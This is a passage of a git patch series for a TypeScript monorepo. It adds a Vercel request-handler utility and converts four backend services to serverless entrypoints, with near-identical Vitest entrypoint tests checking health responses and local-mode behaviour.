*/ +export function withServerlessEnvDefaults( + source: Record = process.env, +): Record { + if (!source.VERCEL) return source; + return { ...source, PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT }; +} diff --git a/packages/utils/test/vercel.test.ts b/packages/utils/test/vercel.test.ts new file mode 100644 index 0000000..680fdeb --- /dev/null +++ b/packages/utils/test/vercel.test.ts @@ -0,0 +1,103 @@ +import type { IncomingMessage, ServerResponse } from 'node:http'; +import { describe, expect, it, vi } from 'vitest'; +import { + SERVERLESS_PLACEHOLDER_PORT, + createVercelHandler, + withServerlessEnvDefaults, +} from '../src/vercel.js'; + +const req = { url: '/health' } as IncomingMessage; +const res = {} as ServerResponse; + +function deferred() { + let resolve!: (value: T) => void; + let reject!: (reason: unknown) => void; + const promise = new Promise((promiseResolve, promiseReject) => { + resolve = promiseResolve; + reject = promiseReject; + }); + return { promise, resolve, reject }; +} + +describe('createVercelHandler', () => { + it('boots eagerly but dispatches onto the server only once the app is ready', async () => { + const boot = deferred(); + const emit = vi.fn(() => true); + const ready = vi.fn(() => boot.promise); + const handler = createVercelHandler({ ready, server: { emit } }); + + // Plugin boot overlaps cold-start init: it starts before any request arrives. + expect(ready).toHaveBeenCalledTimes(1); + + const pending = handler(req, res); + await Promise.resolve(); + expect(emit).not.toHaveBeenCalled(); + + boot.resolve(); + await pending; + expect(emit).toHaveBeenCalledExactlyOnceWith('request', req, res); + + // Later requests reuse the one boot rather than re-running it. + await handler(req, res); + expect(ready).toHaveBeenCalledTimes(1); + expect(emit).toHaveBeenCalledTimes(2); + }); + + it('surfaces a failed boot on every request without an unhandled rejection', async () => { + const unhandled = vi.fn(); + process.on('unhandledRejection', unhandled); + try { + const emit = vi.fn(() => true); + const handler = createVercelHandler({ + ready: () => Promise.reject(new Error('plugin boot failed')), + server: { emit }, + }); + + // No request has attached to the boot promise yet: let a tick pass so a + // missing catch would show up as an unhandled rejection. + await new Promise((resolve) => setTimeout(resolve, 10)); + expect(unhandled).not.toHaveBeenCalled(); + + await expect(handler(req, res)).rejects.toThrow('plugin boot failed'); + await expect(handler(req, res)).rejects.toThrow('plugin boot failed'); + expect(emit).not.toHaveBeenCalled(); + } finally { + process.off('unhandledRejection', unhandled); + } + }); + + it('accepts fastify-style thenables whose `ready()` resolves to undefined', async () => { + const emit = vi.fn(() => true); + const thenable: PromiseLike = { + then: (onFulfilled) => Promise.resolve(undefined).then(onFulfilled), + }; + const handler = createVercelHandler({ ready: () => thenable, server: { emit } }); + + await handler(req, res); + expect(emit).toHaveBeenCalledOnce(); + }); +}); + +describe('withServerlessEnvDefaults', () => { + it('leaves the source untouched outside Vercel so PORT stays required', () => { + const source = { DATABASE_URL: 'postgres://example' }; + expect(withServerlessEnvDefaults(source)).toBe(source); + expect(withServerlessEnvDefaults(source)).not.toHaveProperty('PORT'); + }); + + it('supplies a placeholder PORT on Vercel without mutating the source', () => { + const source = { VERCEL: '1', DATABASE_URL: 'postgres://example' }; + const result = withServerlessEnvDefaults(source); + expect(result).toEqual({ ...source, PORT: SERVERLESS_PLACEHOLDER_PORT }); + expect(source).not.toHaveProperty('PORT'); + }); + + it('keeps an explicitly configured PORT on Vercel', () => { + expect(withServerlessEnvDefaults({ VERCEL: '1', PORT: '8080' }).PORT).toBe('8080'); + }); + + it('does not invent any other configuration', () => { + const result = withServerlessEnvDefaults({ VERCEL: '1' }); + expect(Object.keys(result).sort()).toEqual(['PORT', 'VERCEL']); + }); +}); From 561818c1c434a46dc989962838b9448f4ee0681b Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:00:03 +0000 Subject: [PATCH 03/91] fix(profile,jobs,applications,outreach): export a Vercel request handler These entrypoints wrapped startup in main() and only ever called app.listen(), with no default export, so as Vercel functions (see e886019 for the failure mode on auth) they could not serve a request. Convert them to the auth pattern: construct env/logger/db/broker at module scope, export `app`, export the default handler from createVercelHandler, and install shutdown handlers and listen() only when VERCEL is unset, so `pnpm dev:` behaves as before. Env loading goes through withServerlessEnvDefaults() so a missing PORT does not fail module load on Vercel. Each service gets an entrypoint test that loads the module with VERCEL=1 and no PORT, asserts the default export is a function and that nothing binds a socket, serves /health through the handler (503 with an unreachable database, 200 with ATLAS_TEST_DATABASE_URL), checks that other missing config still fails fast, and checks that local mode still listens. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- services/applications/src/index.ts | 37 ++-- services/applications/test/entrypoint.test.ts | 161 ++++++++++++++++++ services/jobs/src/index.ts | 37 ++-- services/jobs/test/entrypoint.test.ts | 161 ++++++++++++++++++ services/outreach/src/index.ts | 39 +++-- services/outreach/test/entrypoint.test.ts | 161 ++++++++++++++++++ services/profile/src/index.ts | 39 +++-- services/profile/test/entrypoint.test.ts | 161 ++++++++++++++++++ 8 files changed, 718 insertions(+), 78 deletions(-) create mode 100644 services/applications/test/entrypoint.test.ts create mode 100644 services/jobs/test/entrypoint.test.ts create mode 100644 services/outreach/test/entrypoint.test.ts create mode 100644 services/profile/test/entrypoint.test.ts diff --git a/services/applications/src/index.ts b/services/applications/src/index.ts index e6f9e0d..7d2704d 100644 --- a/services/applications/src/index.ts +++ b/services/applications/src/index.ts @@ -1,25 +1,29 @@ import { createTokenVerifierConfig } from '@atlas/auth-kit'; import { createDatabase } from '@atlas/db'; import { createBroker } from '@atlas/messaging'; -import { createLogger } from '@atlas/utils'; +import { createLogger, createVercelHandler, withServerlessEnvDefaults } from '@atlas/utils'; import { buildApp } from './app.js'; import { loadApplicationsServiceEnv } from './env.js'; -async function main(): Promise { - const env = loadApplicationsServiceEnv(); - const logger = createLogger({ service: 'applications-service', level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); - const { db, sql, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); - const broker = createBroker({ - driver: env.MESSAGING_DRIVER, - url: env.RABBITMQ_URL, - exchange: env.MESSAGING_EXCHANGE, - maxRetries: env.MESSAGING_MAX_RETRIES, - logger, - }); - const tokenVerifier = createTokenVerifierConfig(env); +const env = loadApplicationsServiceEnv(withServerlessEnvDefaults()); +const logger = createLogger({ service: 'applications-service', level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); +const { db, sql, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); +const broker = createBroker({ + driver: env.MESSAGING_DRIVER, + url: env.RABBITMQ_URL, + exchange: env.MESSAGING_EXCHANGE, + maxRetries: env.MESSAGING_MAX_RETRIES, + logger, +}); +const tokenVerifier = createTokenVerifierConfig(env); + +export const app = buildApp({ db, sql, env, logger, broker, tokenVerifier }); - const app = buildApp({ db, sql, env, logger, broker, tokenVerifier }); +// Vercel invokes this module as a serverless request handler — it never calls +// app.listen(), so requests are dispatched onto the app directly. +export default createVercelHandler(app); +if (!process.env.VERCEL) { const shutdown = async (signal: string): Promise => { logger.info({ signal }, 'shutting down'); await app.close(); @@ -32,8 +36,3 @@ async function main(): Promise { await app.listen({ host: env.HOST, port: env.PORT }); } - -main().catch((error: unknown) => { - console.error(error); - process.exit(1); -}); diff --git a/services/applications/test/entrypoint.test.ts b/services/applications/test/entrypoint.test.ts new file mode 100644 index 0000000..acdb2f9 --- /dev/null +++ b/services/applications/test/entrypoint.test.ts @@ -0,0 +1,161 @@ +import { createServer, type IncomingMessage, type ServerResponse } from 'node:http'; +import type { AddressInfo } from 'node:net'; +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it, vi } from 'vitest'; +import type * as AtlasDb from '@atlas/db'; + +// The entrypoint builds env, logger, db and app at module scope, so every case re-imports it +// against a fresh environment. postgres.js connects lazily, which is why loading the module needs +// no live database; only the case that expects a healthy /health does, and it self-skips when +// ATLAS_TEST_DATABASE_URL is unset (see .env.example). +const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; +// Nothing listens on port 1, so /health reports a degraded database instead of hanging. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_entrypoint_unreachable'; + +const tracked = vi.hoisted(() => ({ + closers: [] as Array<() => Promise>, +})); + +vi.mock('@atlas/db', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + // Track every pool the entrypoint opens so each case can close it. + createDatabase: (options: Parameters[0]) => { + const handle = actual.createDatabase(options); + tracked.closers.push(() => handle.close()); + return handle; + }, + }; +}); + +const loadedApps: FastifyInstance[] = []; +const baselineSignalListeners = { + SIGTERM: process.listeners('SIGTERM'), + SIGINT: process.listeners('SIGINT'), +}; + +async function loadEntrypoint(overrides: Record = {}) { + vi.resetModules(); + const env: Record = { + VERCEL: '1', + LOG_LEVEL: 'fatal', + MESSAGING_DRIVER: 'memory', + HOST: '127.0.0.1', + DATABASE_URL: UNREACHABLE_DATABASE_URL, + SUPABASE_URL: 'https://test-project.supabase.co', + // Vercel does not provide a PORT; the entrypoint must cope without one. + PORT: undefined, + APPLICATIONS_SERVICE_PORT: undefined, + ...overrides, + }; + for (const [key, value] of Object.entries(env)) vi.stubEnv(key, value); + + const entrypoint = await import('../src/index.js'); + loadedApps.push(entrypoint.app); + return entrypoint; +} + +async function freePort(): Promise { + const probe = createServer(); + await new Promise((resolve) => probe.listen(0, '127.0.0.1', resolve)); + const { port } = probe.address() as AddressInfo; + await new Promise((resolve) => probe.close(() => resolve())); + return port; +} + +/** Serves one GET through `handler` over a real socket, the way Vercel hands it a request. */ +async function getThrough( + handler: (req: IncomingMessage, res: ServerResponse) => Promise, + path: string, +): Promise<{ status: number; body: { status: string; service: string; checks: unknown } }> { + const server = createServer((req, res) => { + handler(req, res).catch(() => { + res.statusCode = 500; + res.end(); + }); + }); + await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); + try { + const { port } = server.address() as AddressInfo; + const response = await fetch('http://127.0.0.1:' + port + path); + return { status: response.status, body: (await response.json()) as never }; + } finally { + server.closeAllConnections(); + await new Promise((resolve) => server.close(() => resolve())); + } +} + +afterEach(async () => { + vi.unstubAllEnvs(); + await Promise.all(loadedApps.splice(0).map((app) => app.close())); + await Promise.all(tracked.closers.splice(0).map((close) => close())); + for (const signal of ['SIGTERM', 'SIGINT'] as const) { + for (const listener of process.listeners(signal)) { + if (!baselineSignalListeners[signal].includes(listener)) process.off(signal, listener); + } + } +}); + +describe('applications-service Vercel entrypoint', () => { + it('loads without a PORT, exports a request handler and does not bind a socket', async () => { + const entrypoint = await loadEntrypoint(); + + expect(typeof entrypoint.default).toBe('function'); + expect(entrypoint.app.server.listening).toBe(false); + expect(entrypoint.app.addresses()).toEqual([]); + // Shutdown handlers belong to the long-lived local process only. + expect(process.listeners('SIGTERM')).toEqual(baselineSignalListeners.SIGTERM); + expect(process.listeners('SIGINT')).toEqual(baselineSignalListeners.SIGINT); + }); + + it('serves /health through the default handler without any live infrastructure', async () => { + const { default: handler } = await loadEntrypoint(); + + const { status, body } = await getThrough(handler, '/health'); + + expect(status).toBe(503); + expect(body).toMatchObject({ + status: 'degraded', + service: 'applications-service', + checks: { database: 'fail', broker: 'ok' }, + }); + }); + + it.skipIf(!testDatabaseUrl)( + 'reports healthy through app.inject and the default handler when the database is reachable', + async () => { + const { app, default: handler } = await loadEntrypoint({ DATABASE_URL: testDatabaseUrl }); + + const injected = await app.inject({ method: 'GET', url: '/health' }); + expect(injected.statusCode).toBe(200); + expect(injected.json()).toMatchObject({ status: 'ok', service: 'applications-service' }); + + const { status, body } = await getThrough(handler, '/health'); + expect(status).toBe(200); + expect(body).toMatchObject({ status: 'ok', service: 'applications-service' }); + }, + ); + + it('only defaults PORT: other missing configuration still fails fast on Vercel', async () => { + const error = await loadEntrypoint({ DATABASE_URL: undefined }).then( + () => undefined, + (cause: unknown) => cause as Error, + ); + + expect(error?.name).toBe('ConfigError'); + expect(error?.message).toContain('DATABASE_URL'); + expect(error?.message).not.toContain('PORT'); + }); + + it('keeps local dev intact: outside Vercel it listens on PORT and installs shutdown handlers', async () => { + const port = await freePort(); + + const entrypoint = await loadEntrypoint({ VERCEL: undefined, PORT: String(port) }); + + expect(entrypoint.app.server.listening).toBe(true); + expect((entrypoint.app.server.address() as AddressInfo).port).toBe(port); + expect(process.listeners('SIGTERM')).toHaveLength(baselineSignalListeners.SIGTERM.length + 1); + expect(process.listeners('SIGINT')).toHaveLength(baselineSignalListeners.SIGINT.length + 1); + }); +}); diff --git a/services/jobs/src/index.ts b/services/jobs/src/index.ts index ef2ac9b..e7015c4 100644 --- a/services/jobs/src/index.ts +++ b/services/jobs/src/index.ts @@ -1,25 +1,29 @@ import { createTokenVerifierConfig } from '@atlas/auth-kit'; import { createDatabase } from '@atlas/db'; import { createBroker } from '@atlas/messaging'; -import { createLogger } from '@atlas/utils'; +import { createLogger, createVercelHandler, withServerlessEnvDefaults } from '@atlas/utils'; import { buildApp } from './app.js'; import { loadJobsServiceEnv } from './env.js'; -async function main(): Promise { - const env = loadJobsServiceEnv(); - const logger = createLogger({ service: 'jobs-service', level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); - const { db, sql, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); - const broker = createBroker({ - driver: env.MESSAGING_DRIVER, - url: env.RABBITMQ_URL, - exchange: env.MESSAGING_EXCHANGE, - maxRetries: env.MESSAGING_MAX_RETRIES, - logger, - }); - const tokenVerifier = createTokenVerifierConfig(env); +const env = loadJobsServiceEnv(withServerlessEnvDefaults()); +const logger = createLogger({ service: 'jobs-service', level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); +const { db, sql, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); +const broker = createBroker({ + driver: env.MESSAGING_DRIVER, + url: env.RABBITMQ_URL, + exchange: env.MESSAGING_EXCHANGE, + maxRetries: env.MESSAGING_MAX_RETRIES, + logger, +}); +const tokenVerifier = createTokenVerifierConfig(env); + +export const app = buildApp({ db, sql, env, logger, broker, tokenVerifier }); - const app = buildApp({ db, sql, env, logger, broker, tokenVerifier }); +// Vercel invokes this module as a serverless request handler — it never calls +// app.listen(), so requests are dispatched onto the app directly. +export default createVercelHandler(app); +if (!process.env.VERCEL) { const shutdown = async (signal: string): Promise => { logger.info({ signal }, 'shutting down'); await app.close(); @@ -32,8 +36,3 @@ async function main(): Promise { await app.listen({ host: env.HOST, port: env.PORT }); } - -main().catch((error: unknown) => { - console.error(error); - process.exit(1); -}); diff --git a/services/jobs/test/entrypoint.test.ts b/services/jobs/test/entrypoint.test.ts new file mode 100644 index 0000000..4f4de36 --- /dev/null +++ b/services/jobs/test/entrypoint.test.ts @@ -0,0 +1,161 @@ +import { createServer, type IncomingMessage, type ServerResponse } from 'node:http'; +import type { AddressInfo } from 'node:net'; +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it, vi } from 'vitest'; +import type * as AtlasDb from '@atlas/db'; + +// The entrypoint builds env, logger, db and app at module scope, so every case re-imports it +// against a fresh environment. postgres.js connects lazily, which is why loading the module needs +// no live database; only the case that expects a healthy /health does, and it self-skips when +// ATLAS_TEST_DATABASE_URL is unset (see .env.example). +const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; +// Nothing listens on port 1, so /health reports a degraded database instead of hanging. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_entrypoint_unreachable'; + +const tracked = vi.hoisted(() => ({ + closers: [] as Array<() => Promise>, +})); + +vi.mock('@atlas/db', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + // Track every pool the entrypoint opens so each case can close it. + createDatabase: (options: Parameters[0]) => { + const handle = actual.createDatabase(options); + tracked.closers.push(() => handle.close()); + return handle; + }, + }; +}); + +const loadedApps: FastifyInstance[] = []; +const baselineSignalListeners = { + SIGTERM: process.listeners('SIGTERM'), + SIGINT: process.listeners('SIGINT'), +}; + +async function loadEntrypoint(overrides: Record = {}) { + vi.resetModules(); + const env: Record = { + VERCEL: '1', + LOG_LEVEL: 'fatal', + MESSAGING_DRIVER: 'memory', + HOST: '127.0.0.1', + DATABASE_URL: UNREACHABLE_DATABASE_URL, + SUPABASE_URL: 'https://test-project.supabase.co', + // Vercel does not provide a PORT; the entrypoint must cope without one. + PORT: undefined, + JOBS_SERVICE_PORT: undefined, + ...overrides, + }; + for (const [key, value] of Object.entries(env)) vi.stubEnv(key, value); + + const entrypoint = await import('../src/index.js'); + loadedApps.push(entrypoint.app); + return entrypoint; +} + +async function freePort(): Promise { + const probe = createServer(); + await new Promise((resolve) => probe.listen(0, '127.0.0.1', resolve)); + const { port } = probe.address() as AddressInfo; + await new Promise((resolve) => probe.close(() => resolve())); + return port; +} + +/** Serves one GET through `handler` over a real socket, the way Vercel hands it a request. */ +async function getThrough( + handler: (req: IncomingMessage, res: ServerResponse) => Promise, + path: string, +): Promise<{ status: number; body: { status: string; service: string; checks: unknown } }> { + const server = createServer((req, res) => { + handler(req, res).catch(() => { + res.statusCode = 500; + res.end(); + }); + }); + await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); + try { + const { port } = server.address() as AddressInfo; + const response = await fetch('http://127.0.0.1:' + port + path); + return { status: response.status, body: (await response.json()) as never }; + } finally { + server.closeAllConnections(); + await new Promise((resolve) => server.close(() => resolve())); + } +} + +afterEach(async () => { + vi.unstubAllEnvs(); + await Promise.all(loadedApps.splice(0).map((app) => app.close())); + await Promise.all(tracked.closers.splice(0).map((close) => close())); + for (const signal of ['SIGTERM', 'SIGINT'] as const) { + for (const listener of process.listeners(signal)) { + if (!baselineSignalListeners[signal].includes(listener)) process.off(signal, listener); + } + } +}); + +describe('jobs-service Vercel entrypoint', () => { + it('loads without a PORT, exports a request handler and does not bind a socket', async () => { + const entrypoint = await loadEntrypoint(); + + expect(typeof entrypoint.default).toBe('function'); + expect(entrypoint.app.server.listening).toBe(false); + expect(entrypoint.app.addresses()).toEqual([]); + // Shutdown handlers belong to the long-lived local process only. + expect(process.listeners('SIGTERM')).toEqual(baselineSignalListeners.SIGTERM); + expect(process.listeners('SIGINT')).toEqual(baselineSignalListeners.SIGINT); + }); + + it('serves /health through the default handler without any live infrastructure', async () => { + const { default: handler } = await loadEntrypoint(); + + const { status, body } = await getThrough(handler, '/health'); + + expect(status).toBe(503); + expect(body).toMatchObject({ + status: 'degraded', + service: 'jobs-service', + checks: { database: 'fail', broker: 'ok' }, + }); + }); + + it.skipIf(!testDatabaseUrl)( + 'reports healthy through app.inject and the default handler when the database is reachable', + async () => { + const { app, default: handler } = await loadEntrypoint({ DATABASE_URL: testDatabaseUrl }); + + const injected = await app.inject({ method: 'GET', url: '/health' }); + expect(injected.statusCode).toBe(200); + expect(injected.json()).toMatchObject({ status: 'ok', service: 'jobs-service' }); + + const { status, body } = await getThrough(handler, '/health'); + expect(status).toBe(200); + expect(body).toMatchObject({ status: 'ok', service: 'jobs-service' }); + }, + ); + + it('only defaults PORT: other missing configuration still fails fast on Vercel', async () => { + const error = await loadEntrypoint({ DATABASE_URL: undefined }).then( + () => undefined, + (cause: unknown) => cause as Error, + ); + + expect(error?.name).toBe('ConfigError'); + expect(error?.message).toContain('DATABASE_URL'); + expect(error?.message).not.toContain('PORT'); + }); + + it('keeps local dev intact: outside Vercel it listens on PORT and installs shutdown handlers', async () => { + const port = await freePort(); + + const entrypoint = await loadEntrypoint({ VERCEL: undefined, PORT: String(port) }); + + expect(entrypoint.app.server.listening).toBe(true); + expect((entrypoint.app.server.address() as AddressInfo).port).toBe(port); + expect(process.listeners('SIGTERM')).toHaveLength(baselineSignalListeners.SIGTERM.length + 1); + expect(process.listeners('SIGINT')).toHaveLength(baselineSignalListeners.SIGINT.length + 1); + }); +}); diff --git a/services/outreach/src/index.ts b/services/outreach/src/index.ts index 338abd5..520bd7e 100644 --- a/services/outreach/src/index.ts +++ b/services/outreach/src/index.ts @@ -1,27 +1,31 @@ import { createTokenVerifierConfig } from '@atlas/auth-kit'; import { createDatabase } from '@atlas/db'; import { createBroker } from '@atlas/messaging'; -import { createLogger } from '@atlas/utils'; +import { createLogger, createVercelHandler, withServerlessEnvDefaults } from '@atlas/utils'; import { buildApp } from './app.js'; import { loadOutreachServiceEnv } from './env.js'; import { createTransport } from './lib/transport.js'; -async function main(): Promise { - const env = loadOutreachServiceEnv(); - const logger = createLogger({ service: 'outreach-service', level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); - const { db, sql, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); - const broker = createBroker({ - driver: env.MESSAGING_DRIVER, - url: env.RABBITMQ_URL, - exchange: env.MESSAGING_EXCHANGE, - maxRetries: env.MESSAGING_MAX_RETRIES, - logger, - }); - const tokenVerifier = createTokenVerifierConfig(env); - const transport = createTransport({ driver: env.OUTREACH_TRANSPORT_DRIVER, logger }); +const env = loadOutreachServiceEnv(withServerlessEnvDefaults()); +const logger = createLogger({ service: 'outreach-service', level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); +const { db, sql, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); +const broker = createBroker({ + driver: env.MESSAGING_DRIVER, + url: env.RABBITMQ_URL, + exchange: env.MESSAGING_EXCHANGE, + maxRetries: env.MESSAGING_MAX_RETRIES, + logger, +}); +const tokenVerifier = createTokenVerifierConfig(env); +const transport = createTransport({ driver: env.OUTREACH_TRANSPORT_DRIVER, logger }); + +export const app = buildApp({ db, sql, env, logger, broker, tokenVerifier, transport }); - const app = buildApp({ db, sql, env, logger, broker, tokenVerifier, transport }); +// Vercel invokes this module as a serverless request handler — it never calls +// app.listen(), so requests are dispatched onto the app directly. +export default createVercelHandler(app); +if (!process.env.VERCEL) { const shutdown = async (signal: string): Promise => { logger.info({ signal }, 'shutting down'); await app.close(); @@ -34,8 +38,3 @@ async function main(): Promise { await app.listen({ host: env.HOST, port: env.PORT }); } - -main().catch((error: unknown) => { - console.error(error); - process.exit(1); -}); diff --git a/services/outreach/test/entrypoint.test.ts b/services/outreach/test/entrypoint.test.ts new file mode 100644 index 0000000..9b62eaa --- /dev/null +++ b/services/outreach/test/entrypoint.test.ts @@ -0,0 +1,161 @@ +import { createServer, type IncomingMessage, type ServerResponse } from 'node:http'; +import type { AddressInfo } from 'node:net'; +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it, vi } from 'vitest'; +import type * as AtlasDb from '@atlas/db'; + +// The entrypoint builds env, logger, db and app at module scope, so every case re-imports it +// against a fresh environment. postgres.js connects lazily, which is why loading the module needs +// no live database; only the case that expects a healthy /health does, and it self-skips when +// ATLAS_TEST_DATABASE_URL is unset (see .env.example). +const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; +// Nothing listens on port 1, so /health reports a degraded database instead of hanging. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_entrypoint_unreachable'; + +const tracked = vi.hoisted(() => ({ + closers: [] as Array<() => Promise>, +})); + +vi.mock('@atlas/db', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + // Track every pool the entrypoint opens so each case can close it. + createDatabase: (options: Parameters[0]) => { + const handle = actual.createDatabase(options); + tracked.closers.push(() => handle.close()); + return handle; + }, + }; +}); + +const loadedApps: FastifyInstance[] = []; +const baselineSignalListeners = { + SIGTERM: process.listeners('SIGTERM'), + SIGINT: process.listeners('SIGINT'), +}; + +async function loadEntrypoint(overrides: Record = {}) { + vi.resetModules(); + const env: Record = { + VERCEL: '1', + LOG_LEVEL: 'fatal', + MESSAGING_DRIVER: 'memory', + HOST: '127.0.0.1', + DATABASE_URL: UNREACHABLE_DATABASE_URL, + SUPABASE_URL: 'https://test-project.supabase.co', + // Vercel does not provide a PORT; the entrypoint must cope without one. + PORT: undefined, + OUTREACH_SERVICE_PORT: undefined, + ...overrides, + }; + for (const [key, value] of Object.entries(env)) vi.stubEnv(key, value); + + const entrypoint = await import('../src/index.js'); + loadedApps.push(entrypoint.app); + return entrypoint; +} + +async function freePort(): Promise { + const probe = createServer(); + await new Promise((resolve) => probe.listen(0, '127.0.0.1', resolve)); + const { port } = probe.address() as AddressInfo; + await new Promise((resolve) => probe.close(() => resolve())); + return port; +} + +/** Serves one GET through `handler` over a real socket, the way Vercel hands it a request. */ +async function getThrough( + handler: (req: IncomingMessage, res: ServerResponse) => Promise, + path: string, +): Promise<{ status: number; body: { status: string; service: string; checks: unknown } }> { + const server = createServer((req, res) => { + handler(req, res).catch(() => { + res.statusCode = 500; + res.end(); + }); + }); + await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); + try { + const { port } = server.address() as AddressInfo; + const response = await fetch('http://127.0.0.1:' + port + path); + return { status: response.status, body: (await response.json()) as never }; + } finally { + server.closeAllConnections(); + await new Promise((resolve) => server.close(() => resolve())); + } +} + +afterEach(async () => { + vi.unstubAllEnvs(); + await Promise.all(loadedApps.splice(0).map((app) => app.close())); + await Promise.all(tracked.closers.splice(0).map((close) => close())); + for (const signal of ['SIGTERM', 'SIGINT'] as const) { + for (const listener of process.listeners(signal)) { + if (!baselineSignalListeners[signal].includes(listener)) process.off(signal, listener); + } + } +}); + +describe('outreach-service Vercel entrypoint', () => { + it('loads without a PORT, exports a request handler and does not bind a socket', async () => { + const entrypoint = await loadEntrypoint(); + + expect(typeof entrypoint.default).toBe('function'); + expect(entrypoint.app.server.listening).toBe(false); + expect(entrypoint.app.addresses()).toEqual([]); + // Shutdown handlers belong to the long-lived local process only. + expect(process.listeners('SIGTERM')).toEqual(baselineSignalListeners.SIGTERM); + expect(process.listeners('SIGINT')).toEqual(baselineSignalListeners.SIGINT); + }); + + it('serves /health through the default handler without any live infrastructure', async () => { + const { default: handler } = await loadEntrypoint(); + + const { status, body } = await getThrough(handler, '/health'); + + expect(status).toBe(503); + expect(body).toMatchObject({ + status: 'degraded', + service: 'outreach-service', + checks: { database: 'fail', broker: 'ok' }, + }); + }); + + it.skipIf(!testDatabaseUrl)( + 'reports healthy through app.inject and the default handler when the database is reachable', + async () => { + const { app, default: handler } = await loadEntrypoint({ DATABASE_URL: testDatabaseUrl }); + + const injected = await app.inject({ method: 'GET', url: '/health' }); + expect(injected.statusCode).toBe(200); + expect(injected.json()).toMatchObject({ status: 'ok', service: 'outreach-service' }); + + const { status, body } = await getThrough(handler, '/health'); + expect(status).toBe(200); + expect(body).toMatchObject({ status: 'ok', service: 'outreach-service' }); + }, + ); + + it('only defaults PORT: other missing configuration still fails fast on Vercel', async () => { + const error = await loadEntrypoint({ DATABASE_URL: undefined }).then( + () => undefined, + (cause: unknown) => cause as Error, + ); + + expect(error?.name).toBe('ConfigError'); + expect(error?.message).toContain('DATABASE_URL'); + expect(error?.message).not.toContain('PORT'); + }); + + it('keeps local dev intact: outside Vercel it listens on PORT and installs shutdown handlers', async () => { + const port = await freePort(); + + const entrypoint = await loadEntrypoint({ VERCEL: undefined, PORT: String(port) }); + + expect(entrypoint.app.server.listening).toBe(true); + expect((entrypoint.app.server.address() as AddressInfo).port).toBe(port); + expect(process.listeners('SIGTERM')).toHaveLength(baselineSignalListeners.SIGTERM.length + 1); + expect(process.listeners('SIGINT')).toHaveLength(baselineSignalListeners.SIGINT.length + 1); + }); +}); diff --git a/services/profile/src/index.ts b/services/profile/src/index.ts index 3255949..399904f 100644 --- a/services/profile/src/index.ts +++ b/services/profile/src/index.ts @@ -2,26 +2,30 @@ import { createTokenVerifierConfig } from '@atlas/auth-kit'; import { createDatabase } from '@atlas/db'; import { createBroker } from '@atlas/messaging'; import { createStorage } from '@atlas/storage'; -import { createLogger } from '@atlas/utils'; +import { createLogger, createVercelHandler, withServerlessEnvDefaults } from '@atlas/utils'; import { buildApp } from './app.js'; import { loadProfileServiceEnv } from './env.js'; -async function main(): Promise { - const env = loadProfileServiceEnv(); - const logger = createLogger({ service: 'profile-service', level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); - const { db, sql, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); - const broker = createBroker({ - driver: env.MESSAGING_DRIVER, - url: env.RABBITMQ_URL, - exchange: env.MESSAGING_EXCHANGE, - maxRetries: env.MESSAGING_MAX_RETRIES, - logger, - }); - const storage = createStorage({ driver: env.STORAGE_DRIVER, localRoot: env.STORAGE_LOCAL_ROOT }); - const tokenVerifier = createTokenVerifierConfig(env); +const env = loadProfileServiceEnv(withServerlessEnvDefaults()); +const logger = createLogger({ service: 'profile-service', level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); +const { db, sql, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); +const broker = createBroker({ + driver: env.MESSAGING_DRIVER, + url: env.RABBITMQ_URL, + exchange: env.MESSAGING_EXCHANGE, + maxRetries: env.MESSAGING_MAX_RETRIES, + logger, +}); +const storage = createStorage({ driver: env.STORAGE_DRIVER, localRoot: env.STORAGE_LOCAL_ROOT }); +const tokenVerifier = createTokenVerifierConfig(env); + +export const app = buildApp({ db, sql, env, logger, broker, storage, tokenVerifier }); - const app = buildApp({ db, sql, env, logger, broker, storage, tokenVerifier }); +// Vercel invokes this module as a serverless request handler — it never calls +// app.listen(), so requests are dispatched onto the app directly. +export default createVercelHandler(app); +if (!process.env.VERCEL) { const shutdown = async (signal: string): Promise => { logger.info({ signal }, 'shutting down'); await app.close(); @@ -34,8 +38,3 @@ async function main(): Promise { await app.listen({ host: env.HOST, port: env.PORT }); } - -main().catch((error: unknown) => { - console.error(error); - process.exit(1); -}); diff --git a/services/profile/test/entrypoint.test.ts b/services/profile/test/entrypoint.test.ts new file mode 100644 index 0000000..bae4587 --- /dev/null +++ 